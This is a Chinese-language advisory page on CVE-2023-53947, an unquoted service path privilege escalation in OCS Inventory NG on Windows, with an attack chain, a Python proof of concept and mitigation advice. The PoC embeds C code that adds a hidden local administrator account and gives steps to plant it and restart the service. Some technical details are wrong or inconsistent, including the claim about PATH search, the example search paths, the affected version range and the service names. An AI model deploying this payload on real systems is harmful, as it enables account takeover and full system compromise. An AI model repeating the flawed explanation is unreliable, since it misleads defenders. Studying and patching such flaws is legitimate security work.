IPBUF安全漏洞报告
English
CVE-2023-53947 CVSS 8.4 高危

CVE-2023-53947 | OCS Inventory NG 未引号服务路径本地提权漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2023-53947
漏洞类型
未引号服务路径漏洞
CVSS评分
8.4 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OCS Inventory NG

相关标签

未引号服务路径本地提权OCS Inventory NGWindows服务权限提升CVE-2023-53947高危漏洞

漏洞概述

CVE-2023-53947是发现于OCS Inventory NG 2.3.0.0版本中的高危本地提权漏洞。该漏洞属于Windows服务未引号服务路径(Unquoted Service Path)问题,攻击者可以利用该漏洞将恶意可执行文件放置在服务路径的不安全位置,从而在服务重启时以系统级(SYSTEM)权限执行任意代码。OCS Inventory NG是一款广泛使用的开源IT资产管理和软件部署解决方案,通常以Windows服务方式运行。由于其默认以SYSTEM权限运行,攻击者一旦成功利用该漏洞,即可获得目标系统的完全控制权,实现横向移动和数据窃取等恶意操作。该漏洞的CVSS评分达到8.4分,属于高危级别,攻击复杂度低,无需认证和用户交互即可实施攻击。

技术细节

该漏洞的根本原因在于Windows服务配置中使用了未加引号的可执行文件路径。当Windows服务启动时,系统会按照PATH环境变量中的目录顺序查找可执行文件。如果路径中包含空格且未被引号包裹,Windows会从第一个空格处截断路径,并依次尝试查找匹配的可执行文件。例如,如果服务路径为C:\Program Files\OCS Inventory Agent\OCSService.exe,Windows会首先尝试执行C:\Program.exe,如果不存在则尝试C:\Program Files\OCSService.exe,依此类推直到找到正确的可执行文件或遍历完所有可能的路径。攻击者可以在这些可能被搜索的路径中植入恶意可执行文件(如OCSService.exe),当服务重启或系统启动时,Windows会优先执行攻击者放置的恶意程序。由于OCS Inventory服务以SYSTEM权限运行,恶意代码也将以SYSTEM权限执行,从而实现权限提升。攻击者需要具备本地访问权限,能够在文件系统上写入文件,并且需要触发服务重启(可通过系统重启或服务控制管理器实现)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先收集目标系统信息,确认OCS Inventory NG是否安装,并识别服务配置。使用sc qc命令查询服务配置,检查BINARY_PATH_NAME是否包含未加引号的路径且路径中包含空格。
STEP 2
步骤2: 路径分析
分析服务可执行文件路径,识别所有可能被Windows搜索的可执行文件位置。例如路径C:\Program Files\OCS Inventory\OCSService.exe会导致Windows尝试查找C:\Program.exe、C:\Program Files\OCSService.exe等位置。
STEP 3
步骤3: 植入恶意文件
攻击者在具有写权限的中间路径目录中创建恶意可执行文件(命名与原服务可执行文件相同,如OCSService.exe)。恶意文件通常实现添加管理员账户、反向shell连接或下载进一步攻击载荷等功能。
STEP 4
步骤4: 触发服务重启
攻击者通过系统重启、服务控制命令(sc stop/start)或诱导管理员重启服务等方式触发OCS Inventory服务重启。Windows在加载服务时会按照路径空格分割的顺序搜索可执行文件。
STEP 5
步骤5: 权限提升
Windows首先找到攻击者放置的恶意可执行文件并以SYSTEM权限执行,从而实现本地权限提升。攻击者获得系统级访问权限后可进行横向移动、数据窃取或持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-53947 PoC - OCS Inventory NG Unquoted Service Path # This PoC demonstrates the privilege escalation via unquoted service path import os import sys import subprocess import time def check_vulnerable_service(): """Check if OCS Inventory service is installed and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'OCS Inventory Service'], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME contains unquoted path with spaces if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line and ('Program Files' in line or 'Program Files (x86)' in line): if '"' not in line: return True, line.strip() return False, None except Exception as e: print(f"Error checking service: {e}") return False, None def create_malicious_executable(): """Generate malicious executable that creates admin user""" malicious_code = ''' #include <windows.h> #include <stdio.h> #include <stdlib.h> int main() { // Create new administrator user: attacker/P@ssw0rd123 system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); // Log the exploitation FILE *log = fopen("C:\\\\Windows\\\\Temp\\\\exploit.log", "a"); if (log) { fprintf(log, "[+] CVE-2023-53947 exploited at %s\n", __TIMESTAMP__); fclose(log); } return 0; } ''' return malicious_code def exploit(): """Main exploitation function""" print("[*] CVE-2023-53947 - OCS Inventory NG Unquoted Service Path EoP") print("[*] Checking for vulnerable service...") is_vulnerable, path_info = check_vulnerable_service() if is_vulnerable: print(f"[+] Service is vulnerable!") print(f"[+] Current path: {path_info}") print("[+] Please compile the malicious executable as 'OCSService.exe'") print("[+] Place it in an intermediate directory in the unquoted path") print("[+] Then trigger service restart: sc stop OCSInventoryService && sc start OCSInventoryService") else: print("[-] Service not vulnerable or not found") if __name__ == "__main__": exploit()

影响范围

OCS Inventory NG < 2.3.0.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:首先,使用Windows自带sc命令或注册表编辑器(regedit)检查OCS Inventory服务的BINARY_PATH_NAME配置,为路径添加引号;其次,审计服务可执行文件所在目录及其父目录的访问权限,移除非管理员用户的写权限;最后,考虑使用Windows Defender Application Control (WDAC)或AppLocker配置应用程序控制策略,阻止在服务路径目录中执行未经授权的程序。此外,监控系统安全日志中的异常进程创建事件,可帮助检测潜在的利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表